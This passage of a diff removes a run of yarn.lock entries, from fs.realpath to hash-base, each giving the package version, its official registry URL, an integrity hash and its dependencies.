-  resolved "https://registry.yarnpkg.com/fs.realpath/-/fs.realpath-1.0.0.tgz#1504ad2523158caa40db4a2787cb01411994ea4f"
-  integrity sha1-FQStJSMVjKpA20onh8sBQRmU6k8=
-
-fsevents@2.1.2:
-  version "2.1.2"
-  resolved "https://registry.yarnpkg.com/fsevents/-/fsevents-2.1.2.tgz#4c0a1fb34bc68e543b4b82a9ec392bfbda840805"
-  integrity sha512-R4wDiBwZ0KzpgOWetKDug1FZcYhqYnUYKtfZYt4mD5SBz76q0KR4Q9o7GIPamsVPGmW3EYPPJ0dOOjvx32ldZA==
-
-fsevents@^1.2.7:
-  version "1.2.13"
-  resolved "https://registry.yarnpkg.com/fsevents/-/fsevents-1.2.13.tgz#f325cb0455592428bcf11b383370ef70e3bfcc38"
-  integrity sha512-oWb1Z6mkHIskLzEJ/XWX0srkpkTQ7vaopMQkyaEIoq0fmtFVxOthb8cCxeT+p3ynTdkk/RZwbgG4brR5BeWECw==
-  dependencies:
-    bindings "^1.5.0"
-    nan "^2.12.1"
-
-fsevents@~2.3.1:
-  version "2.3.2"
-  resolved "https://registry.yarnpkg.com/fsevents/-/fsevents-2.3.2.tgz#8a526f78b8fdf4623b709e0b975c52c24c02fd1a"
-  integrity sha512-xiqMQR4xAeHTuB9uWm+fFRcIOgKBMiOBP+eXiyT7jsgVCq1bkVygt00oASowB7EdtpOHaaPgKt812P9ab+DDKA==
-
-fstream@>=1.0.12:
-  version "1.0.12"
-  resolved "https://registry.yarnpkg.com/fstream/-/fstream-1.0.12.tgz#4e8ba8ee2d48be4f7d0de505455548eae5932045"
-  integrity sha512-WvJ193OHa0GHPEL+AycEJgxvBEwyfRkN1vhjca23OaPVMCaLCXTd5qAu82AjTcgP1UJmytkOKb63Ypde7raDIg==
-  dependencies:
-    graceful-fs "^4.1.2"
-    inherits "~2.0.0"
-    mkdirp ">=0.5 0"
-    rimraf "2"
-
-function-bind@^1.1.1:
-  version "1.1.1"
-  resolved "https://registry.yarnpkg.com/function-bind/-/function-bind-1.1.1.tgz#a56899d3ea3c9bab874bb9773b7c5ede92f4895d"
-  integrity sha512-yIovAzMX49sF8Yl58fSCWJ5svSLuaibPxXQJFLmBObTuCr0Mf1KiPopGM9NiFjiYBCbfaa2Fh6breQ6ANVTI0A==
-
-functional-red-black-tree@^1.0.1:
-  version "1.0.1"
-  resolved "https://registry.yarnpkg.com/functional-red-black-tree/-/functional-red-black-tree-1.0.1.tgz#1b0ab3bd553b2a0d6399d29c0e3ea0b252078327"
-  integrity sha1-GwqzvVU7Kg1jmdKcDj6gslIHgyc=
-
-gensync@^1.0.0-beta.1, gensync@^1.0.0-beta.2:
-  version "1.0.0-beta.2"
-  resolved "https://registry.yarnpkg.com/gensync/-/gensync-1.0.0-beta.2.tgz#32a6ee76c3d7f52d46b2b1ae5d93fea8580a25e0"
-  integrity sha512-3hN7NaskYvMDLQY55gnW3NQ+mesEAepTqlg+VEbj7zzqEMBVNhzcGYYeqFo/TlYz6eQiFcp1HcsCZO+nGgS8zg==
-
-get-caller-file@^1.0.1:
-  version "1.0.3"
-  resolved "https://registry.yarnpkg.com/get-caller-file/-/get-caller-file-1.0.3.tgz#f978fa4c90d1dfe7ff2d6beda2a515e713bdcf4a"
-  integrity sha512-3t6rVToeoZfYSGd8YoLFR2DJkiQrIiUrGcjvFX2mDw3bn6k2OtwHN0TNCLbBO+w8qTvimhDkv+LSscbJY1vE6w==
-
-get-caller-file@^2.0.1:
-  version "2.0.5"
-  resolved "https://registry.yarnpkg.com/get-caller-file/-/get-caller-file-2.0.5.tgz#4f94412a82db32f36e3b0b9741f8a97feb031f7e"
-  integrity sha512-DyFP3BM/3YHTQOCUL/w0OZHR0lpKeGrxotcHWcqNEdnltqFwXVfhEBQ94eIo34AfQpo0rGki4cyIiftY06h2Fg==
-
-get-intrinsic@^1.0.2, get-intrinsic@^1.1.0, get-intrinsic@^1.1.1:
-  version "1.1.1"
-  resolved "https://registry.yarnpkg.com/get-intrinsic/-/get-intrinsic-1.1.1.tgz#15f59f376f855c446963948f0d24cd3637b4abc6"
-  integrity sha512-kWZrnVM42QCiEA2Ig1bG8zjoIMOgxWwYCEeNdwY6Tv/cOSeGpcoX4pXHfKUxNKVoArnrEr2e9srnAxxGIraS9Q==
-  dependencies:
-    function-bind "^1.1.1"
-    has "^1.0.3"
-    has-symbols "^1.0.1"
-
-get-iterator@^1.0.2:
-  version "1.0.2"
-  resolved "https://registry.yarnpkg.com/get-iterator/-/get-iterator-1.0.2.tgz#cd747c02b4c084461fac14f48f6b45a80ed25c82"
-  integrity sha512-v+dm9bNVfOYsY1OrhaCrmyOcYoSeVvbt+hHZ0Au+T+p1y+0Uyj9aMaGIeUTT6xdpRbWzDeYKvfOslPhggQMcsg==
-
-get-own-enumerable-property-symbols@^3.0.0:
-  version "3.0.2"
-  resolved "https://registry.yarnpkg.com/get-own-enumerable-property-symbols/-/get-own-enumerable-property-symbols-3.0.2.tgz#b5fde77f22cbe35f390b4e089922c50bce6ef664"
-  integrity sha512-I0UBV/XOz1XkIJHEUDMZAbzCThU/H8DxmSfmdGcKPnVhu2VfFqr34jr9777IyaTYvxjedWhqVIilEDsCdP5G6g==
-
-get-stdin@^6.0.0:
-  version "6.0.0"
-  resolved "https://registry.yarnpkg.com/get-stdin/-/get-stdin-6.0.0.tgz#9e09bf712b360ab9225e812048f71fde9c89657b"
-  integrity sha512-jp4tHawyV7+fkkSKyvjuLZswblUtz+SQKzSWnBbii16BuZksJlU1wuBYXY75r+duh/llF1ur6oNwi+2ZzjKZ7g==
-
-get-stream@^4.0.0:
-  version "4.1.0"
-  resolved "https://registry.yarnpkg.com/get-stream/-/get-stream-4.1.0.tgz#c1b255575f3dc21d59bfc79cd3d2b46b1c3a54b5"
-  integrity sha512-GMat4EJ5161kIy2HevLlr4luNjBgvmj413KaQA7jt4V8B4RDsfpHk7WQ9GVqfYyyx8OS/L66Kox+rJRNklLK7w==
-  dependencies:
-    pump "^3.0.0"
-
-get-value@^2.0.3, get-value@^2.0.6:
-  version "2.0.6"
-  resolved "https://registry.yarnpkg.com/get-value/-/get-value-2.0.6.tgz#dc15ca1c672387ca76bd37ac0a395ba2042a2c28"
-  integrity sha1-3BXKHGcjh8p2vTesCjlbogQqLCg=
-
-getpass@^0.1.1:
-  version "0.1.7"
-  resolved "https://registry.yarnpkg.com/getpass/-/getpass-0.1.7.tgz#5eff8e3e684d569ae4cb2b1282604e8ba62149fa"
-  integrity sha1-Xv+OPmhNVprkyysSgmBOi6YhSfo=
-  dependencies:
-    assert-plus "^1.0.0"
-
-glob-parent@^3.1.0:
-  version "3.1.0"
-  resolved "https://registry.yarnpkg.com/glob-parent/-/glob-parent-3.1.0.tgz#9e6af6299d8d3bd2bd40430832bd113df906c5ae"
-  integrity sha1-nmr2KZ2NO9K9QEMIMr0RPfkGxa4=
-  dependencies:
-    is-glob "^3.1.0"
-    path-dirname "^1.0.0"
-
-glob-parent@^5.0.0, glob-parent@^5.1.0, glob-parent@~5.1.0:
-  version "5.1.2"
-  resolved "https://registry.yarnpkg.com/glob-parent/-/glob-parent-5.1.2.tgz#869832c58034fe68a4093c17dc15e8340d8401c4"
-  integrity sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==
-  dependencies:
-    is-glob "^4.0.1"
-
-glob-stream@^6.1.0:
-  version "6.1.0"
-  resolved "https://registry.yarnpkg.com/glob-stream/-/glob-stream-6.1.0.tgz#7045c99413b3eb94888d83ab46d0b404cc7bdde4"
-  integrity sha1-cEXJlBOz65SIjYOrRtC0BMx73eQ=
-  dependencies:
-    extend "^3.0.0"
-    glob "^7.1.1"
-    glob-parent "^3.1.0"
-    is-negated-glob "^1.0.0"
-    ordered-read-streams "^1.0.0"
-    pumpify "^1.3.5"
-    readable-stream "^2.1.5"
-    remove-trailing-separator "^1.0.1"
-    to-absolute-glob "^2.0.0"
-    unique-stream "^2.0.2"
-
-glob-to-regexp@^0.3.0:
-  version "0.3.0"
-  resolved "https://registry.yarnpkg.com/glob-to-regexp/-/glob-to-regexp-0.3.0.tgz#8c5a1494d2066c570cc3bfe4496175acc4d502ab"
-  integrity sha1-jFoUlNIGbFcMw7/kSWF1rMTVAqs=
-
-glob-watcher@^5.0.3:
-  version "5.0.5"
-  resolved "https://registry.yarnpkg.com/glob-watcher/-/glob-watcher-5.0.5.tgz#aa6bce648332924d9a8489be41e3e5c52d4186dc"
-  integrity sha512-zOZgGGEHPklZNjZQaZ9f41i7F2YwE+tS5ZHrDhbBCk3stwahn5vQxnFmBJZHoYdusR6R1bLSXeGUy/BhctwKzw==
-  dependencies:
-    anymatch "^2.0.0"
-    async-done "^1.2.0"
-    chokidar "^2.0.0"
-    is-negated-glob "^1.0.0"
-    just-debounce "^1.0.0"
-    normalize-path "^3.0.0"
-    object.defaults "^1.1.0"
-
-glob@^7.0.3, glob@^7.0.5, glob@^7.1.1, glob@^7.1.2, glob@^7.1.3, glob@^7.1.4, glob@^7.1.6:
-  version "7.1.7"
-  resolved "https://registry.yarnpkg.com/glob/-/glob-7.1.7.tgz#3b193e9233f01d42d0b3f78294bbeeb418f94a90"
-  integrity sha512-OvD9ENzPLbegENnYP5UUfJIirTg4+XwMWGaQfQTY0JenxNvvIKP3U3/tAQSPIu/lHxXYSZmpXlUHeqAIdKzBLQ==
-  dependencies:
-    fs.realpath "^1.0.0"
-    inflight "^1.0.4"
-    inherits "2"
-    minimatch "^3.0.4"
-    once "^1.3.0"
-    path-is-absolute "^1.0.0"
-
-global-modules@2.0.0:
-  version "2.0.0"
-  resolved "https://registry.yarnpkg.com/global-modules/-/global-modules-2.0.0.tgz#997605ad2345f27f51539bea26574421215c7780"
-  integrity sha512-NGbfmJBp9x8IxyJSd1P+otYK8vonoJactOogrVfFRIAEY1ukil8RSKDz2Yo7wh1oihl51l/r6W4epkeKJHqL8A==
-  dependencies:
-    global-prefix "^3.0.0"
-
-global-modules@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.yarnpkg.com/global-modules/-/global-modules-1.0.0.tgz#6d770f0eb523ac78164d72b5e71a8877265cc3ea"
-  integrity sha512-sKzpEkf11GpOFuw0Zzjzmt4B4UZwjOcG757PPvrfhxcLFbq0wpsgpOqxpxtxFiCG4DtG93M6XRVbF2oGdev7bg==
-  dependencies:
-    global-prefix "^1.0.1"
-    is-windows "^1.0.1"
-    resolve-dir "^1.0.0"
-
-global-prefix@^1.0.1:
-  version "1.0.2"
-  resolved "https://registry.yarnpkg.com/global-prefix/-/global-prefix-1.0.2.tgz#dbf743c6c14992593c655568cb66ed32c0122ebe"
-  integrity sha1-2/dDxsFJklk8ZVVoy2btMsASLr4=
-  dependencies:
-    expand-tilde "^2.0.2"
-    homedir-polyfill "^1.0.1"
-    ini "^1.3.4"
-    is-windows "^1.0.1"
-    which "^1.2.14"
-
-global-prefix@^3.0.0:
-  version "3.0.0"
-  resolved "https://registry.yarnpkg.com/global-prefix/-/global-prefix-3.0.0.tgz#fc85f73064df69f50421f47f883fe5b913ba9b97"
-  integrity sha512-awConJSVCHVGND6x3tmMaKcQvwXLhjdkmomy2W+Goaui8YPgYgXJZewhg3fWC+DlfqqQuWg8AwqjGTD2nAPVWg==
-  dependencies:
-    ini "^1.3.5"
-    kind-of "^6.0.2"
-    which "^1.3.1"
-
-global@~4.4.0:
-  version "4.4.0"
-  resolved "https://registry.yarnpkg.com/global/-/global-4.4.0.tgz#3e7b105179006a323ed71aafca3e9c57a5cc6406"
-  integrity sha512-wv/LAoHdRE3BeTGz53FAamhGlPLhlssK45usmGFThIi4XqnBmjKQ16u+RNbP7WvigRZDxUsM0J3gcQ5yicaL0w==
-  dependencies:
-    min-document "^2.19.0"
-    process "^0.11.10"
-
-globals@^11.1.0:
-  version "11.12.0"
-  resolved "https://registry.yarnpkg.com/globals/-/globals-11.12.0.tgz#ab8795338868a0babd8525758018c2a7eb95c42e"
-  integrity sha512-WOBp/EEGUiIsJSp7wcv/y6MO+lV9UoncWqxuFfm8eBwzWNgyfBd6Gz+IeKQ9jCmyhoH99g15M3T+QaVHFjizVA==
-
-globals@^12.1.0:
-  version "12.4.0"
-  resolved "https://registry.yarnpkg.com/globals/-/globals-12.4.0.tgz#a18813576a41b00a24a97e7f815918c2e19925f8"
-  integrity sha512-BWICuzzDvDoH54NHKCseDanAhE3CeDorgDL5MT6LMXXj2WCnd9UC2szdk4AWLfjdgNBCXLUanXYcpBBKOSWGwg==
-  dependencies:
-    type-fest "^0.8.1"
-
-globby@10.0.1:
-  version "10.0.1"
-  resolved "https://registry.yarnpkg.com/globby/-/globby-10.0.1.tgz#4782c34cb75dd683351335c5829cc3420e606b22"
-  integrity sha512-sSs4inE1FB2YQiymcmTv6NWENryABjUNPeWhOvmn4SjtKybglsyPZxFB3U1/+L1bYi0rNZDqCLlHyLYDl1Pq5A==
-  dependencies:
-    "@types/glob" "^7.1.1"
-    array-union "^2.1.0"
-    dir-glob "^3.0.1"
-    fast-glob "^3.0.3"
-    glob "^7.1.3"
-    ignore "^5.1.1"
-    merge2 "^1.2.3"
-    slash "^3.0.0"
-
-globby@8.0.2:
-  version "8.0.2"
-  resolved "https://registry.yarnpkg.com/globby/-/globby-8.0.2.tgz#5697619ccd95c5275dbb2d6faa42087c1a941d8d"
-  integrity sha512-yTzMmKygLp8RUpG1Ymu2VXPSJQZjNAZPD4ywgYEaG7e4tBJeUQBO8OpXrf1RCNcEs5alsoJYPAMiIHP0cmeC7w==
-  dependencies:
-    array-union "^1.0.1"
-    dir-glob "2.0.0"
-    fast-glob "^2.0.2"
-    glob "^7.1.2"
-    ignore "^3.3.5"
-    pify "^3.0.0"
-    slash "^1.0.0"
-
-globby@^6.1.0:
-  version "6.1.0"
-  resolved "https://registry.yarnpkg.com/globby/-/globby-6.1.0.tgz#f5a6d70e8395e21c858fb0489d64df02424d506c"
-  integrity sha1-9abXDoOV4hyFj7BInWTfAkJNUGw=
-  dependencies:
-    array-union "^1.0.1"
-    glob "^7.0.3"
-    object-assign "^4.0.1"
-    pify "^2.0.0"
-    pinkie-promise "^2.0.0"
-
-glogg@^1.0.0:
-  version "1.0.2"
-  resolved "https://registry.yarnpkg.com/glogg/-/glogg-1.0.2.tgz#2d7dd702beda22eb3bffadf880696da6d846313f"
-  integrity sha512-5mwUoSuBk44Y4EshyiqcH95ZntbDdTQqA3QYSrxmzj28Ai0vXBGMH1ApSANH14j2sIRtqCEyg6PfsuP7ElOEDA==
-  dependencies:
-    sparkles "^1.0.0"
-
-graceful-fs@^4.0.0, graceful-fs@^4.1.11, graceful-fs@^4.1.15, graceful-fs@^4.1.2, graceful-fs@^4.1.6, graceful-fs@^4.2.0, graceful-fs@^4.2.2:
-  version "4.2.6"
-  resolved "https://registry.yarnpkg.com/graceful-fs/-/graceful-fs-4.2.6.tgz#ff040b2b0853b23c3d31027523706f1885d76bee"
-  integrity sha512-nTnJ528pbqxYanhpDYsi4Rd8MAeaBA67+RZ10CM1m3bTAVFEDcd5AuA4a6W5YkGZ1iNXHzZz8T6TBKLeBuNriQ==
-
-graphiql@^1.0.5:
-  version "1.4.2"
-  resolved "https://registry.yarnpkg.com/graphiql/-/graphiql-1.4.2.tgz#a1dc1a4d8d35f60c90d6d8a9eb62a99756e9fd9b"
-  integrity sha512-TQDuuU/ZqTWV1yQDpVEiKskg0IYA+Wck37DYrrFzLlpgZWRbWiyab1PyHKiRep7J540CgScBg6C/gGCymKyO3g==
-  dependencies:
-    "@graphiql/toolkit" "^0.2.0"
-    codemirror "^5.54.0"
-    codemirror-graphql "^1.0.0"
-    copy-to-clipboard "^3.2.0"
-    dset "^3.1.0"
-    entities "^2.0.0"
-    graphql-language-service "^3.1.2"
-    markdown-it "^10.0.0"
-
-graphql-language-service-interface@^2.8.2:
-  version "2.8.4"
-  resolved "https://registry.yarnpkg.com/graphql-language-service-interface/-/graphql-language-service-interface-2.8.4.tgz#3ff31754e9b295b1abc26b97d286c00835aacff0"
-  integrity sha512-myW8z7HOZkYfhYGKDc0URFkTZChp41Po890W92zuBIhGccckgtiWSJGXaLX+r9QAwVIeZhKaNgEacsyvQb1f/g==
-  dependencies:
-    graphql-language-service-parser "^1.9.0"
-    graphql-language-service-types "^1.8.0"
-    graphql-language-service-utils "^2.5.1"
-    vscode-languageserver-types "^3.15.1"
-
-graphql-language-service-parser@^1.9.0:
-  version "1.9.2"
-  resolved "https://registry.yarnpkg.com/graphql-language-service-parser/-/graphql-language-service-parser-1.9.2.tgz#b2dc45620cb6b9bac8ac175c197c77f0ff12d679"
-  integrity sha512-3txms73cJsXDfJQdR5hI83N2rpTuq9FD6aijdrXAeSuI5B60g32DxjelUkt4Ge+2BvBEDLn5ppXlpVYDC9UQHQ==
-  dependencies:
-    graphql-language-service-types "^1.8.0"
-
-graphql-language-service-types@^1.8.0:
-  version "1.8.2"
-  resolved "https://registry.yarnpkg.com/graphql-language-service-types/-/graphql-language-service-types-1.8.2.tgz#50ae56f69cc24fcfc3daa129b68b0eb9421e8578"
-  integrity sha512-Sj07RHnMwAhEvAt7Jdt1l/x56ZpoNh+V6g+T58CF6GiYqI5l4vXqqRB4d4xHDcNQX98GpJfnf3o8BqPgP3C5Sw==
-
-graphql-language-service-utils@^2.5.1:
-  version "2.5.3"
-  resolved "https://registry.yarnpkg.com/graphql-language-service-utils/-/graphql-language-service-utils-2.5.3.tgz#185f4f65cf8c010871eb9405452a3a0bfdf88748"
-  integrity sha512-ydevEZ0AgzEKQF3hiCbLXuS0o7189Ww/T30WtCKCLaRHDYk9Yyb2PZWdhSTWLxYZTaX2TccV6NtFWvzIC7UP3g==
-  dependencies:
-    graphql-language-service-types "^1.8.0"
-    nullthrows "^1.0.0"
-
-graphql-language-service@^3.1.2:
-  version "3.1.4"
-  resolved "https://registry.yarnpkg.com/graphql-language-service/-/graphql-language-service-3.1.4.tgz#ca8698f70e9923e3267e3d457228bc55a7dd75f9"
-  integrity sha512-AF98AT4wLxkE9q1gRf20Yn0EPgd5SctRiw1IkGFivPr98pEX0sKqUcIcIHePn2mxqf73jlWUJV5v6l/CB1gdqQ==
-  dependencies:
-    graphql-language-service-interface "^2.8.2"
-    graphql-language-service-types "^1.8.0"
-
-graphql-tag@^2.12.0, graphql-tag@^2.4.2:
-  version "2.12.4"
-  resolved "https://registry.yarnpkg.com/graphql-tag/-/graphql-tag-2.12.4.tgz#d34066688a4f09e72d6f4663c74211e9b4b7c4bf"
-  integrity sha512-VV1U4O+9x99EkNpNmCUV5RZwq6MnK4+pGbRYWG+lA/m3uo7TSqJF81OkcOP148gFP6fzdl7JWYBrwWVTS9jXww==
-  dependencies:
-    tslib "^2.1.0"
-
-graphql-ws@^4.3.2:
-  version "4.9.0"
-  resolved "https://registry.yarnpkg.com/graphql-ws/-/graphql-ws-4.9.0.tgz#5cfd8bb490b35e86583d8322f5d5d099c26e365c"
-  integrity sha512-sHkK9+lUm20/BGawNEWNtVAeJzhZeBg21VmvmLoT5NdGVeZWv5PdIhkcayQIAgjSyyQ17WMKmbDijIPG2On+Ag==
-
-graphql@^15.3.0:
-  version "15.5.0"
-  resolved "https://registry.yarnpkg.com/graphql/-/graphql-15.5.0.tgz#39d19494dbe69d1ea719915b578bf920344a69d5"
-  integrity sha512-OmaM7y0kaK31NKG31q4YbD2beNYa6jBBKtMFT6gLYJljHLJr42IqJ8KX08u3Li/0ifzTU5HjmoOOrwa5BRLeDA==
-
-growly@^1.3.0:
-  version "1.3.0"
-  resolved "https://registry.yarnpkg.com/growly/-/growly-1.3.0.tgz#f10748cbe76af964b7c96c93c6bcc28af120c081"
-  integrity sha1-8QdIy+dq+WS3yWyTxrzCivEgwIE=
-
-gulp-cli@^2.2.0:
-  version "2.3.0"
-  resolved "https://registry.yarnpkg.com/gulp-cli/-/gulp-cli-2.3.0.tgz#ec0d380e29e52aa45e47977f0d32e18fd161122f"
-  integrity sha512-zzGBl5fHo0EKSXsHzjspp3y5CONegCm8ErO5Qh0UzFzk2y4tMvzLWhoDokADbarfZRL2pGpRp7yt6gfJX4ph7A==
-  dependencies:
-    ansi-colors "^1.0.1"
-    archy "^1.0.0"
-    array-sort "^1.0.0"
-    color-support "^1.1.3"
-    concat-stream "^1.6.0"
-    copy-props "^2.0.1"
-    fancy-log "^1.3.2"
-    gulplog "^1.0.0"
-    interpret "^1.4.0"
-    isobject "^3.0.1"
-    liftoff "^3.1.0"
-    matchdep "^2.0.0"
-    mute-stdout "^1.0.0"
-    pretty-hrtime "^1.0.0"
-    replace-homedir "^1.0.0"
-    semver-greatest-satisfied-range "^1.1.0"
-    v8flags "^3.2.0"
-    yargs "^7.1.0"
-
-gulp-csso@^4.0.1:
-  version "4.0.1"
-  resolved "https://registry.yarnpkg.com/gulp-csso/-/gulp-csso-4.0.1.tgz#c2ac2b5f7138ed04073ed8f7cf89c12f716580d0"
-  integrity sha512-Kg8gqmd6XcUlMTdBbqdCEcpHumc8ytc4khgm9AXeCjl8eHx7b6tC11y8haizFI+Zw/cSHL6HCj7GwGLwxxBUFQ==
-  dependencies:
-    csso "^4.0.0"
-    plugin-error "^1.0.0"
-    vinyl-sourcemaps-apply "^0.2.1"
-
-gulp-debug@^4.0.0:
-  version "4.0.0"
-  resolved "https://registry.yarnpkg.com/gulp-debug/-/gulp-debug-4.0.0.tgz#036f9539c3fb6af720e01a9ea5c195fc73f29d5b"
-  integrity sha512-cn/GhMD2nVZCVxAl5vWao4/dcoZ8wUJ8w3oqTvQaGDmC1vT7swNOEbhQTWJp+/otKePT64aENcqAQXDcdj5H1g==
-  dependencies:
-    chalk "^2.3.0"
-    fancy-log "^1.3.2"
-    plur "^3.0.0"
-    stringify-object "^3.0.0"
-    through2 "^2.0.0"
-    tildify "^1.1.2"
-
-gulp-less@^4.0.1:
-  version "4.0.1"
-  resolved "https://registry.yarnpkg.com/gulp-less/-/gulp-less-4.0.1.tgz#348c33a5dde7a207c5771b1d8261d1ac1021ceed"
-  integrity sha512-hmM2k0FfQp7Ptm3ZaqO2CkMX3hqpiIOn4OHtuSsCeFym63F7oWlEua5v6u1cIjVUKYsVIs9zPg9vbqTEb/udpA==
-  dependencies:
-    accord "^0.29.0"
-    less "2.6.x || ^3.7.1"
-    object-assign "^4.0.1"
-    plugin-error "^0.1.2"
-    replace-ext "^1.0.0"
-    through2 "^2.0.0"
-    vinyl-sourcemaps-apply "^0.2.0"
-
-gulp-postcss@^9.0.0:
-  version "9.0.0"
-  resolved "https://registry.yarnpkg.com/gulp-postcss/-/gulp-postcss-9.0.0.tgz#2ade18809ab475dae743a88bd6501af0b04ee54e"
-  integrity sha512-5mSQ9CK8salSagrXgrVyILfEMy6I5rUGPRiR9rVjgJV9m/rwdZYUhekMr+XxDlApfc5ZdEJ8gXNZrU/TsgT5dQ==
-  dependencies:
-    fancy-log "^1.3.3"
-    plugin-error "^1.0.1"
-    postcss-load-config "^2.1.1"
-    vinyl-sourcemaps-apply "^0.2.1"
-
-gulp@^4.0.2:
-  version "4.0.2"
-  resolved "https://registry.yarnpkg.com/gulp/-/gulp-4.0.2.tgz#543651070fd0f6ab0a0650c6a3e6ff5a7cb09caa"
-  integrity sha512-dvEs27SCZt2ibF29xYgmnwwCYZxdxhQ/+LFWlbAW8y7jt68L/65402Lz3+CKy0Ov4rOs+NERmDq7YlZaDqUIfA==
-  dependencies:
-    glob-watcher "^5.0.3"
-    gulp-cli "^2.2.0"
-    undertaker "^1.2.1"
-    vinyl-fs "^3.0.0"
-
-gulplog@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.yarnpkg.com/gulplog/-/gulplog-1.0.0.tgz#e28c4d45d05ecbbed818363ce8f9c5926229ffe5"
-  integrity sha1-4oxNRdBey77YGDY86PnFkmIp/+U=
-  dependencies:
-    glogg "^1.0.0"
-
-gzip-size@5.1.1:
-  version "5.1.1"
-  resolved "https://registry.yarnpkg.com/gzip-size/-/gzip-size-5.1.1.tgz#cb9bee692f87c0612b232840a873904e4c135274"
-  integrity sha512-FNHi6mmoHvs1mxZAds4PpdCS6QG8B4C1krxJsMutgxl5t3+GlRTzzI3NEkifXx2pVsOvJdOGSmIgDhQ55FwdPA==
-  dependencies:
-    duplexer "^0.1.1"
-    pify "^4.0.1"
-
-handle-thing@^2.0.0:
-  version "2.0.1"
-  resolved "https://registry.yarnpkg.com/handle-thing/-/handle-thing-2.0.1.tgz#857f79ce359580c340d43081cc648970d0bb234e"
-  integrity sha512-9Qn4yBxelxoh2Ow62nP+Ka/kMnOXRi8BXnRaUwezLNhqelnN49xKz4F/dPP8OYLxLxq6JDtZb2i9XznUQbNPTg==
-
-har-schema@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.yarnpkg.com/har-schema/-/har-schema-2.0.0.tgz#a94c2224ebcac04782a0d9035521f24735b7ec92"
-  integrity sha1-qUwiJOvKwEeCoNkDVSHyRzW37JI=
-
-har-validator@~5.1.3:
-  version "5.1.5"
-  resolved "https://registry.yarnpkg.com/har-validator/-/har-validator-5.1.5.tgz#1f0803b9f8cb20c0fa13822df1ecddb36bde1efd"
-  integrity sha512-nmT2T0lljbxdQZfspsno9hgrG3Uir6Ks5afism62poxqBM6sDnMEuPmzTq8XN0OEwqKLLdh1jQI3qyE66Nzb3w==
-  dependencies:
-    ajv "^6.12.3"
-    har-schema "^2.0.0"
-
-harmony-reflect@^1.4.6:
-  version "1.6.2"
-  resolved "https://registry.yarnpkg.com/harmony-reflect/-/harmony-reflect-1.6.2.tgz#31ecbd32e648a34d030d86adb67d4d47547fe710"
-  integrity sha512-HIp/n38R9kQjDEziXyDTuW3vvoxxyxjxFzXLrBr18uB47GnSt+G9D29fqrpM5ZkspMcPICud3XsBJQ4Y2URg8g==
-
-has-ansi@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.yarnpkg.com/has-ansi/-/has-ansi-2.0.0.tgz#34f5049ce1ecdf2b0649af3ef24e45ed35416d91"
-  integrity sha1-NPUEnOHs3ysGSa8+8k5F7TVBbZE=
-  dependencies:
-    ansi-regex "^2.0.0"
-
-has-bigints@^1.0.1:
-  version "1.0.1"
-  resolved "https://registry.yarnpkg.com/has-bigints/-/has-bigints-1.0.1.tgz#64fe6acb020673e3b78db035a5af69aa9d07b113"
-  integrity sha512-LSBS2LjbNBTf6287JEbEzvJgftkF5qFkmCo9hDRpAzKhUOlJ+hx8dd4USs00SgsUNwc4617J9ki5YtEClM2ffA==
-
-has-flag@^3.0.0:
-  version "3.0.0"
-  resolved "https://registry.yarnpkg.com/has-flag/-/has-flag-3.0.0.tgz#b5d454dc2199ae225699f3467e5a07f3b955bafd"
-  integrity sha1-tdRU3CGZriJWmfNGfloH87lVuv0=
-
-has-flag@^4.0.0:
-  version "4.0.0"
-  resolved "https://registry.yarnpkg.com/has-flag/-/has-flag-4.0.0.tgz#944771fd9c81c81265c4d6941860da06bb59479b"
-  integrity sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==
-
-has-symbols@^1.0.1, has-symbols@^1.0.2:
-  version "1.0.2"
-  resolved "https://registry.yarnpkg.com/has-symbols/-/has-symbols-1.0.2.tgz#165d3070c00309752a1236a479331e3ac56f1423"
-  integrity sha512-chXa79rL/UC2KlX17jo3vRGz0azaWEx5tGqZg5pO3NUyEJVB17dMruQlzCCOfUvElghKcm5194+BCRvi2Rv/Gw==
-
-has-value@^0.3.1:
-  version "0.3.1"
-  resolved "https://registry.yarnpkg.com/has-value/-/has-value-0.3.1.tgz#7b1f58bada62ca827ec0a2078025654845995e1f"
-  integrity sha1-ex9YutpiyoJ+wKIHgCVlSEWZXh8=
-  dependencies:
-    get-value "^2.0.3"
-    has-values "^0.1.4"
-    isobject "^2.0.0"
-
-has-value@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.yarnpkg.com/has-value/-/has-value-1.0.0.tgz#18b281da585b1c5c51def24c930ed29a0be6b177"
-  integrity sha1-GLKB2lhbHFxR3vJMkw7SmgvmsXc=
-  dependencies:
-    get-value "^2.0.6"
-    has-values "^1.0.0"
-    isobject "^3.0.0"
-
-has-values@^0.1.4:
-  version "0.1.4"
-  resolved "https://registry.yarnpkg.com/has-values/-/has-values-0.1.4.tgz#6d61de95d91dfca9b9a02089ad384bff8f62b771"
-  integrity sha1-bWHeldkd/Km5oCCJrThL/49it3E=
-
-has-values@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.yarnpkg.com/has-values/-/has-values-1.0.0.tgz#95b0b63fec2146619a6fe57fe75628d5a39efe4f"
-  integrity sha1-lbC2P+whRmGab+V/51Yo1aOe/k8=
-  dependencies:
-    is-number "^3.0.0"
-    kind-of "^4.0.0"
-
-has@^1.0.0, has@^1.0.3:
-  version "1.0.3"
-  resolved "https://registry.yarnpkg.com/has/-/has-1.0.3.tgz#722d7cbfc1f6aa8241f16dd814e011e1f41e8796"
-  integrity sha512-f2dvO0VU6Oej7RkWJGrehjbzMAjFp5/VKPp5tTpWIV4JHHZK1/BxbFRtf/siA2SWTe09caDmVtYYzWEIbBS4zw==
-  dependencies:
-    function-bind "^1.1.1"
-
-hash-base@^3.0.0:
-  version "3.1.0"
-  resolved "https://registry.yarnpkg.com/hash-base/-/hash-base-3.1.0.tgz#55c381d9e06e1d2997a883b4a3fddfe7f0d3af33"
-  integrity sha512-1nmYp/rhMDiE7AYkDw+lLwlAzz0AntGIe51F3RfFfEqyQ3feY2eI/NcwC6umIQVOASPMsWJLJScWKSSvzL9IVA==
-  dependencies:
-    inherits "^2.0.4"
-    readable-stream "^3.6.0"
